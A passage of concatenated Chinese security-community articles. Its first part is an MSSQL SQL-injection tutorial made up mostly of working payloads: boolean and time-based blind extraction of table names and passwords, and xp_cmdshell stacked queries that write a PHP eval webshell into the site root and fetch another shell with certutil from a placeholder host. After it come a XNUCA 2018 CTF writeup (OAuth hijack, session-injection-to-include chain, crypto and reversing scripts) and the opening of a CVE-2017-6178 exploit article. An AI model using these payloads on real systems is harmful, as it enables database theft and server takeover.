由图可知，有7个数据库
**判断dbid个数，一般数据库有多少个，dbid的值就为多少**
and (select count(*) from master..sysdatabases where dbid=N)=1
**通过dbid得到所有数据库名**
当使用上一条命令不能执行时，可以使用下面的命令，查询数据库的个数，以及每个数据库的名字
判断dbid数据库的长度，由以下得知dbid为1数据库的长度是8
and len(db_name(1))>5 //正常显示
and len(db_name(1))>6 //不正常显示
大于5正常显示，大于6不正常显示，所以第一个数据库长度是6，即
一般来说，查的前6个数据库就是自带的那6个数据库，第7个开始才是我们自己建的
and len(db_name(7))>3 //正常显示
and len(db_name(7))>4 //不正常显示
大于3正常显示，大于4不正常显示，所以第7个数据库名的长度为4
判断dbid为7数据库字符的ascii值
and ascii(substring(db_name(7),1,1))>100 //正常显示
and ascii(substring(db_name(7),1,1))>150 //不正常显示
and ascii(substring(db_name(7),1,1))>125 //不正常显示
and ascii(substring(db_name(7),1,1))>112 //正常显示
and ascii(substring(db_name(7),1,1))>118 //不正常显示
and ascii(substring(db_name(7),1,1))>115 //正常显示
and ascii(substring(db_name(7),1,1))>116 //不正常显示
大于115正常显示，大于116不正常显示，所以第七个数据库的第一个字符的ascii值为116，对应的字符是t
以此类推，数据库的第二个字符为 and ascii(substring(db_name(7),2,1))>100
数据库的第三个字符为：and ascii(substring(db_name(7),3,1))>100
数据库的第三个字符为：and ascii(substring(db_name(7),4,1))>100
最后得到第7个数据库名为：test
**判断当前数据库名**
判断数据库的长度，由以下得知数据库的长度是8
and len(db_name())>3 //正常显示
and len(db_name())>4 //不正常显示
大于3正常显示，大于4不正常显示，所以数据库名的长度为4
判断数据库字符的ascii值，用二分法
and ascii(substring(db_name(),1,1))>100 //正常显示
and ascii(substring(db_name(),1,1))>150 //不正常显示
and ascii(substring(db_name(),1,1))>125 //不正常显示
and ascii(substring(db_name(),1,1))>112 //正常显示
and ascii(substring(db_name(),1,1))>118 //不正常显示
and ascii(substring(db_name(),1,1))>115 //正常显示
and ascii(substring(db_name(),1,1))>116 //不正常显示
大于115正常显示，大于116不正常显示，所以数据库第一个字符的ascii值为116，对应的字符是t
以此类推，数据库的第二个字符为 and ascii(substring(db_name(),2,1))>100
数据库的第三个字符为：and ascii(substring(db_name(),3,1))>100
数据库的第三个字符为：and ascii(substring(db_name(),4,1))>100
最后得到数据库名为：test
这里我们已经知道了当前数据库名为： test
**爆破test数据库中表的个数**
and (select count(name) from test..sysobjects where xtype='U')>0 正常显示
and (select count(name) from test..sysobjects where xtype='U')>1 不正常显示
所以test数据库只有一个表
**爆破test数据库中表**
这里爆破表的时候，不能爆破表名的长度，所以只能爆破表名的一个一个字符。当爆破到第某个字符出现其ascii值>0都不正常显示时，说明这个字符位不存在，所以到前一位为止。注意，这里爆破得到的表名有
dbo.
第一个表的第一个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
第一个表的第二个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
第一个表的第三个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 0 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
......
当爆破到第10个字符的时候，发现>0都不正常显示，说明不存在第10位
爆破得到表名为：dbo.users
如果有第二个表，第三个表...
爆破第二个表的第一个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
爆破第二个表的第二个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
爆破第二个表的第三个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 1 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
......
爆破第三个表的第一个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),1,1))>N
爆破第三个表的第二个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),2,1))>N
爆破第三个表的第三个字符的ascii值
AND UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(test..sysusers.name+CHAR(46)+test..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) AND test..sysusers.name+CHAR(46)+test..sysobjects.name NOT IN (SELECT TOP 2 test..sysusers.name+CHAR(46)+test..sysobjects.name FROM test..sysobjects INNER JOIN test..sysusers ON test..sysobjects.uid = test..sysusers.uid WHERE test..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name) ORDER BY test..sysusers.name+CHAR(46)+test..sysobjects.name),3,1))>N
这里我们爆出了test数据库中存在 dbo.users 表
**爆破test数据库中user表的字段数**
and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='users'))=3 #正常显示
所以users表有3个字段
这里我们爆出了test数据库中users表有3个字段
**爆破test数据库中users表的字段名**
爆破test数据库中user表的第一个字段名的长度
and len((select top 1 col_name(object_id('users'),1) from test..sysobjects))>1 正常显示
and len((select top 1 col_name(object_id('users'),1) from test..sysobjects))>2 不正常显示
所以users表的第一个字段名长度为2
爆破test数据库中user表的第一个字段的第一个字符的ascii值,二分法
and ascii(substring((select top 1 col_name(object_id('users'),1) from test..sysobjects),1,1))>N
爆破test数据库中user表的第一个字段的第二个字符的ascii值：
and ascii(substring((select top 1 col_name(object_id('users'),1) from test..sysobjects),2,1))>N
........
最后得到第一个字段为：id
爆破test数据库中user表的第二个字段名的长度
and len((select top 1 col_name(object_id('users'),2) from test..sysobjects))>N
爆破test数据库中user表的第二个字段的第一个字符的ascii值：
and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),1,1))>N
爆破test数据库中user表的第二个字段的第二个字符的ascii值：
and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),2,1))>N
爆破test数据库中user表的第三个字段的第三个字符的ascii值：
and ascii(substring((select top 1 col_name(object_id('users'),2) from test..sysobjects),3,1))>N
爆破test数据库中user表的第三个字段名的长度
and len((select top 1 col_name(object_id('users'),3) from test..sysobjects))>N
........
这里假设我们爆出了users表的三个字段名：id，username，password
**爆test数据库user表中数据总条数**
and (select count(*) from test..users)=N
由图可知只有四条数据
**爆破test数据库中user表中password列中的数据**
这里爆破数据的时候，不能爆破数据的长度，所以只能爆破数据的一个一个字符。当爆破到第某个字符出现其ascii值>0都不正常显示时，说明这个字符位不存在，所以到前一位为止。
爆破test数据库中users表中password列中第一行数据的第一个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),1,1))>N
爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),2,1))>N
爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),3,1))>N
爆破test数据库中user表中password列中第一行数据的第四个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=1),4,1))>N
当爆破到第5个字符的时候，发现ascii>0都不正常显示，说明，第一个数据长度为4
最后爆出test数据库users表password列的第一条数据是：root
爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),1,1))>N
爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),2,1))>N
爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值
and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from test.dbo.users)x where limit=2),3,1))>N
........
## 延时注入
判断是否是SA权限
if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'
判断是否是站库分离(延时后返回正确页面，确定站库没有分离)
if(host_name()=@@servername) WAITFOR DELAY '0:0:2'
判断数据库的个数
IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))=55) WAITFOR DELAY '0:0:2'
判断是否开启xp_cmdshell
if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
更多延时注入payload，可以查看sqlmap
根据响应时间判断执行是否正确
## Union联合查询
首先order by查看有几列
1 order by 3 正常显示
1 order by 4 不正常显示
说明有3列
然后我们可以select NULL,NULL,想查询的数据
查询数据库版本
查询机器名
查询所有数据库名
堆叠注入
SQLServer堆叠注入，由于执行的命令没有回显，所以需要结合时间盲注来查询数据。由于堆叠查询的语句会被执行，所以下面的SQLServer获取权限的奇淫技巧，就是利用到了堆叠注入这一特性。
## SQLServer获取权限的奇淫技巧
利用前提：
1. 目标网站注入支持堆叠注入
2. 当前权限是SA权限
3. 使用sqlmap的 –os-shell 无法获取到权限
这里很多人就会问了，既然是SA权限，不是可以直接利用xp_cmdshell执行系统命令吗？对，没错，但是你使用xp_cmdshell执行的命令没有回显。我们这个获取权限的思路就是，找到目标网站的绝对路径，然后往绝对路径下写入木马，然后获取权限。
我们这里是通过先找到目标网站的一个文件，然后通过遍历目标服务器的磁盘，找到该文件，将其路径写入自建的表中，然后再读取该表得到网站绝对路径。
这里利用的查找命令是
查找目标机器C盘下的test.txt文件
for /r c:\ %i in (test*.txt) do @echo %i #这里的文件名后缀前那个点一定要加*号
dir /s /b c:\test.txt
这里假设我们已经知道目标网站下有一个test.txt文件，
创建表hack，并添加一个tmp的字段
create table hack (tmp varchar(1000));--
查看表是否创建成功
python2 sqlmap.py -u http://192.168.10.20:88/index.php?id=1 -D test --tables
查找目标机器C盘下的test.txt路径，并将结果写入刚刚创建的hack表的tmp字段
;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\test.txt';-- 或
;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (test*.txt) do @echo %i';--
以下两条语句均可
读取数据，得到目标网站绝对路径为：C:phpstudywww
python2 sqlmap.py -u http://192.168.10.20:88/index.php?id=1 -D test -T hack --dump
将一句话木马写入目标网站根目录，并命名为shell.php。注意这里的一句话木马的 < 和 > 前要加上 ^
1;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[x]);?^> > C:\phpstudy\www\shell.php';--
菜刀连接之
如果写入的木马文件连接不上的话，我们还可以通过下面手段使用 certutil 远程下载木马文件，前提是目标机器通公网。
1;exec master..xp_cmdshell 'certutil -urlcache -split -f http://x.x.x.x/shell.php C:\phpstudy\www\shell2.php';--
连接下载的shell2.php木马即可！
## 还原备份数据库
鼠标右键数据库——>还原数据库
选择源设备，选择我们的备份数据库。然后目标数据库也选择该备份数据库，还原那里打上勾，点击确定即可。 | 社区文章 |
# XNUCA 2018 预赛 ROIS Writeup
## WEB
### ezdotso
生活总是充满惊喜的。永远相信，美好的事情即将发生。
——尤其是当主办方环境配置错误的情况下，从没有人会想到，`&action=cmd&cmd=cat%20/flag`是如此美妙。
### Blog
you can login in the blog services by your username or auth by auth2.0, try to
hack it.
<http://106.75.66.211:8000/>
提交的链接只允许 <http://106.75.66.211:8000> 开头, 并且长度有限制
已登录用户可以通过下面任意跳转
<http://106.75.66.211:8000/main/login?next=//baidu.com>
未绑定oauth的用户可以点击绑定跳转到绑定界面
但是返回链接没有对用户做确认. 只要点击绑定返回的连接 就会被绑定成
攻击链:
1. 建立一个 oauth 账号
2. 建立一个 blog 账号
3. 点击绑定新账号, 使用 burp 拦截回调链接
4. 在自己的服务器写下如下代码
<?php
header('location: http://106.75.66.211:8000/main/oauth/?state=OnmJVKIR0V&code=*********')
5. 提交 <http://106.75.66.211:8000/main/login?next=//xxxx> 给管理员
6. 使用oauth 重新登录 blog 即成为管理员
### hardphp
题目要求是Get Shell，因此考虑一切能直接执行代码的方案。先从/www.zip扫描危险函数，发现没有，所以只能考虑include等方案。
先进入后台，发现只有登录，没有注册，因此开始源码审计。从/www.zip 拿到源码后，发现注册接口：/user/register，因此注册用户，进入后台。
发现上传接口：
1. 可以上传.php，但文件名被随机化了。
2. 因为.htaccess `php_flag engine off;`的缘故，无法执行代码。
3. 代码审计，发现路径不可控，无法覆盖任意文件或Session。
继续代码审计。从include的角度发现：
1. 其注册了一个`autoload`接口，这之内有全场唯一的一个include。
2. `autoload`的文件路径可控，但文件名（即类名）是否可控未知。
3. 考虑Get Shell，猜测类名可控。发现通过控制Controller的值可以部分控制类名，这完全没用，除非上传文件名可控。
4. 通过反序列化可以加载一个新类，如果反序列化值可控，则此处就可以直接include上传的文件。
$__action = isset($_GET['a']) ? strtolower($_GET['a']) : 'index';
$__custom = isset($_GET['s']) ? strtolower($_GET['s']) : 'custom';
spl_autoload_register('inner_autoload');
function inner_autoload($class){
GLOBAL $__module,$__custom, $list;
foreach(array('model','include','controller'.(empty($__module)?'':DS.$__module),$__custom) as $dir){
$file = APP_DIR.DS.$dir.DS.$class.'.php';
if(file_exists($file)){
include $file;
return;
}
}
}
因此，考虑反序列化。从反序列化的角度发现：
1. 所有的`unserialize`均被加入了`allowed_classes`，因此不能利用。
2. Session不存在文件里，而是从数据库直接读写。
我们的思路现在很已经非常明确了，这也可能是本题唯一的通向RCE的方法：先上传文件，取得后门文件的文件名，之后通过某种手段将恶意序列化内容写入Session，再通过可控文件路径让autoload
include到我们刚才上传的文件即可。
某种手段是什么呢？
既然到数据库，就寻找注入点。代码审计。全局搜索SELECT、INSERT、UPDATE，发现它所有的输入点（看起来）都没过滤，只是尝试注入无果，后发现一个简易WAF：
escape($_REQUEST);
escape($_POST);
escape($_GET);
escape($_SERVER);
function escape(&$arg) {
if(is_array($arg)) {
foreach ($arg as &$value) {
escape($value);
}
} else {
$arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '（', '）'], $arg);
}
}
比较有毒的是，第一次看到把`$_SERVER`也WAF的题目。事情到这里似乎陷入了僵局，毕竟找不到注入点。但是一般人会把Session存入数据库吗？这里一定有玄机。我们找找SESSION存取的相关代码，很容易就能找到，在`/user/login`处对SESSION进行了赋值。
$username = arg('username');
$password = arg('password');
$ip = arg('REMOTE_ADDR');
$userAgent = arg('HTTP_USER_AGENT');
// ...
$session = new Session($res[0]["id"],time(),$ip,$userAgent);
$_SESSION['data'] = serialize($session);
$_SESSION['username'] = $username;
$this->jump("/main/index");
——注意到此处有`serialize`函数，它能把一个数组包括Key在内都转换成一个字符串，而上述WAF函数并没有对Key进行过滤。那这几个参数可以变成数组吗？
当然可以。注意此处的User-Agent. User-Agent是从头里拿的，我们无法让`$_SERVER['HTTP_USER_AGENT']`变成数组，怎么办呢？
看看`arg`函数：
function arg($name, $default = null, $trim = false) {
if (isset($_REQUEST[$name])) {
$arg = $_REQUEST[$name];
} elseif (isset($_SERVER[$name])) {
$arg = $_SERVER[$name];
} else {
$arg = $default;
}
if($trim) {
$arg = trim($arg);
}
return $arg;
}
因此，只要是POST就行了，没人管他是不是头啦。PHP的POST是支持`a[key]=value`写法的，因此POST一个`HTTP_USER_AGENT[']=1`。先在本地试试看。
POST /main/login HTTP/1.1
Host: 172.16.123.1:8001
Content-Length: 49
Cache-Control: max-age=0
Origin: http://172.16.123.1:8001
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.123.1:8001/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: PHPSESSID=49cb2d038a2ae214ae1461df36c0ebc7
Connection: close
username=a&password=123456&HTTP_USER_AGENT['cy|O:32:"ohf7lr1g3wr2zojy2icg5djfof8jk60u":1:{s:1:"a";s:3:"111";}';#]=1
从划绿圈处看到，成功了。此处为UPDATE型注入，且不支持多行，不太好利用。
——我只是想改SESSION而已，无所谓了。使用payload`', data='NEW DATA';#`即可写入数据。
因此最后的做法为：
1. 通过文件上传接口，上传一个Shell到服务器上，并获知其文件名。
2. 通过/main/login，注入恶意数据。其中序列化的类名为刚才的文件名，让autoload去寻找`$class.'.php'`。
POST /main/login HTTP/1.1
Host: d8563d2ce6fe49ed8aa0f90c54dcfff3770a440cb4dc4c5d.game.ichunqiu.com
Content-Length: 126
Cache-Control: max-age=0
Origin: http://d8563d2ce6fe49ed8aa0f90c54dcfff3770a440cb4dc4c5d.game.ichunqiu.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://d8563d2ce6fe49ed8aa0f90c54dcfff3770a440cb4dc4c5d.game.ichunqiu.com/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=qb04678jqk7hstq51n46rl4km1
Connection: close
username=a&password=123456&HTTP_USER_AGENT[',data%3d'cy|O:32:"jhaix8qy0k4zzawt23ofykexiarhlz23":1:{s:1:"a";s:3:"111";}';%23]=1
1. 通过构造autoload路径`/main/upload?c=main&a=upload&s=img/upload`，告诉autoload应当去哪儿寻找我们的恶意文件，成功Get Shell.
——结果这个做法竟然是非预期。
## Reversing
### Code interpreter
要求r4为0
09 04 04 xor r4, r4
09 00 00 xor r0, r0
08 01 00 mov r1, ebp[0] // num_0
08 02 01 mov r2, ebp[1] // num_1
08 03 02 mov r3, ebp[2] // num_2
06 01 04 shr r1, 4
05 01 15 mul r1, 0x15
07 00 01 mov r0, r1
04 00 03 sub r0, r3
01 6b cc 7e 1d push 0x1d7ecc6b
08 01 03 mov r1, ebp[3] // 0x1d7ecc6b
04 00 01 sub r0, r1
02 pop
0a 04 00 or r4, r0
09 00 00 xor r0, r0
08 01 00 mov r1, ebp[0]
08 02 01 mov r2, ebp[1]
08 03 02 mov r3, ebp[2]
06 03 08 shr r3, 8
05 03 03 mul r3, 0x3
07 00 03 mov r0, r3
03 00 02 add r0, r2
01 7c 79 79 60 push 0x6079797c
08 01 03 mov r1, ebp[3] // 0x6079797c
04 00 01 sub r0, r1
02 pop
0a 04 00 or r4, r0
09 00 00 xor r0, r0
08 01 00 mov r1, ebp[0]
08 02 01 mov r2, ebp[1]
08 03 02 mov r3, ebp[2]
06 01 08 shr r1, 0x8
07 00 01 mov r0, r1
03 00 02 add r0, r2
01 bd bd bc 5f push 0x5fbcbdbd
08 01 03 mov r1, ebp[3] // 0x5fbcbdbd
04 00 01 sub r0, r1
02 pop
0a 04 00 or r4, r0
00 ret
num0 = 0x??5E????
num1 = 0x??????5E
num2 = 0x??????5E
(num0>>4)*0x15 - num2 == 0x1d7ecc6b
(num2>>8)*0x03 + num1 == 0x6079797c
(num0>>8) + num1 == 0x5fbcbdbd
from z3 import *
num = [BitVec(('x%s' % i),32) for i in range(3)]
s = Solver()
s.add(num[0] & 0xff == 0x5e)
s.add(num[1] & 0xff0000 == 0x5e0000)
s.add(num[2] & 0xff == 0x5e)
s.add((num[0] >> 4)*0x15 - num[2] == 0x1d7ecc6b)
s.add((num[2] >> 8)*0x03 + num[1] == 0x6079797c)
s.add((num[0] >> 8) + num[1] == 0x5fbcbdbd)
print s.check()
if s.check() == sat:
m = s.model()
for i in range(3):
print hex(int("%s" % (m[num[i]])))
## Crypto
### Warm Up
A Buggy Message Distributor
<http://static2.ichunqiu.com/icq/resources/fileupload/CTF/echunqiu/xnuca/Warmup_4d5031f93c0f0de54762efb7d0c49fd6.rar>
共模攻击
看流量包 Alice, Dave 的N相同
import gmpy2
n = 25118186052801903419891574512806521370646053661385577314262283167479853375867074736882903917202574957661470179148882538361560784362740207649620536746860883395110443930778132343642295247749797041449601967434690280754279589691669366595486824752597992245067619256368446164574344449914827664991591873150416287647528776014468498025993455819767004213726389160036077170973994848480739499052481386539293425983093644799960322581437734560001018025823047877932105216362961838959964371333287407071080250979421489210165485908404019927393053325809061787560294489911475978342741920115134298253806238766543518220987363050115050813263
e1 = 7669
e2 = 6947
message1 = 22917655888781915689291442748409371798632133107968171254672911561608350738343707972881819762532175014157796940212073777351362314385074785400758102594348355578275080626269137543136225022579321107199602856290254696227966436244618441350564667872879196269074433751811632437228139470723203848006803856868237706401868436321225656126491701750534688966280578771996021459620472731406728379628286405214996461164892486734170662556518782043881759918394674517409304629842710180023814702447187081112856416034885511215626693534876901484105593275741829434329109239483368867518384522955176807332437540578688867077569728548513876841471
message2 = 20494665879116666159961016125949070097530413770391893858215547229071116025581822729798313796823204861624912909030975450742122802775879194445232064367771036011021366123393917354134849911675307877324103834871288513274457941036453477034798647182106422619504345055259543675752998330786906376830335403339610903547255965127196315113331300512641046933227008101401416026809256813221480604662012101542846479052832128788279031727880750642499329041780372405567816904384164559191879422615238580181357183882111249939492668328771614509476229785062819586796660370798030562805224704497570446844131650030075004901216141893420140140568
# s & t
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
message1 = gmpy2.invert(message1, n)
if t < 0:
t = -t
message2 = gmpy2.invert(message2, n)
plain = gmpy2.powmod(message1, s, n) * gmpy2.powmod(message2, t, n) % n
print hex(plain)
0x464c41477b673030645f4c75636b5f265f486176335f46756e7d
FLAG{g00d_Luck_&_Hav3_Fun} | 社区文章 |
# 【漏洞分析】CVE-2017-6178：从补丁对比到Exploit
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[ **k0shl**](http://bobao.360.cn/member/contribute?uid=1353169030)
预估稿费：700RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 关于USBPcap和CVE-2017-6178**
前段时间在EDB闲逛，看到了一个驱动的内核漏洞CVE-2017-6178，像我这样在学习Kernel
PWN的新手自然是不会错过的:)，经过调试分析之后感觉学到了一些东西，于是来和大家一起分享一下。
**USBPcap是一个USB数据包捕获的工具，可以配合Wireshark抓取USB设备的数据包，在安装完USBPcap之后会同时安装一个驱动，这个驱动里存在一个指针未初始化的漏洞，并可以通过这个漏洞完成对系统的提权，也就是CVE-2017-6178。**
事实上，EDB上已经有一个Exploit的代码，但是经过我的分析调试，发现这个代码是存在问题的，也就是说，会触发BSOD，但并不会完成提权，这个提权代码在一直执行到替换Token位置都是没有问题的，但在进行Token替换前后堆栈被破坏，需要在提权结束返回时进行一个小Patch，才能最后完成提权。
那么，当我们没有PoC或者Exp的时候，该如何来复现漏洞并完成攻击呢？首先我们需要复现，以及完成PoC的编写，这个过程往往需要Fuzz或者补丁对比等等的方法来完成，随后就是我们的Kernel
PWN了。
今天我就来和大家一起分享一下从补丁对比到Exploit的过程，首先我来讲解一下从补丁对比到PoC复现的过程，随后我们来分析一下CVE-2017-6178这个指针未初始化漏洞形成的原因，随后我们一起来进行Kernel
PWN并获得system权限，最后，有一点关于这个补丁绕过的小脑洞（尽管应该是不能绕过的，但多思考总是好的:)），我是努力中的新手，文中有失误的地方，欢迎各位师傅批评指正，感谢阅读！
利用环境是Windows 7 x86 sp1
原Exp的EDB地址：<https://www.exploit-db.com/exploits/41542/>
USBPcap官网地址：<http://desowin.org/usbpcap/>
**0x01 从补丁对比到PoC**
**1、补丁对比**
首先，我们需要通过最新版补丁的对比来分析一下这个漏洞可能存在的点，官网最新版的USBPcap是在2017年4月更新的1.2.0版本，下载下来后进行安装，安装结束后，可以看到USBPcap的驱动程序USBPcap.sys，我们获取一个老版本的USBPcap
1.0.0版本，进行bindiff，可以看到改动较大的函数。
可以看到，下面绿色部分是包含有变化的函数，通过对每个函数分析，发现其中多数函数存在一个共通点，就是增加了一条判断。
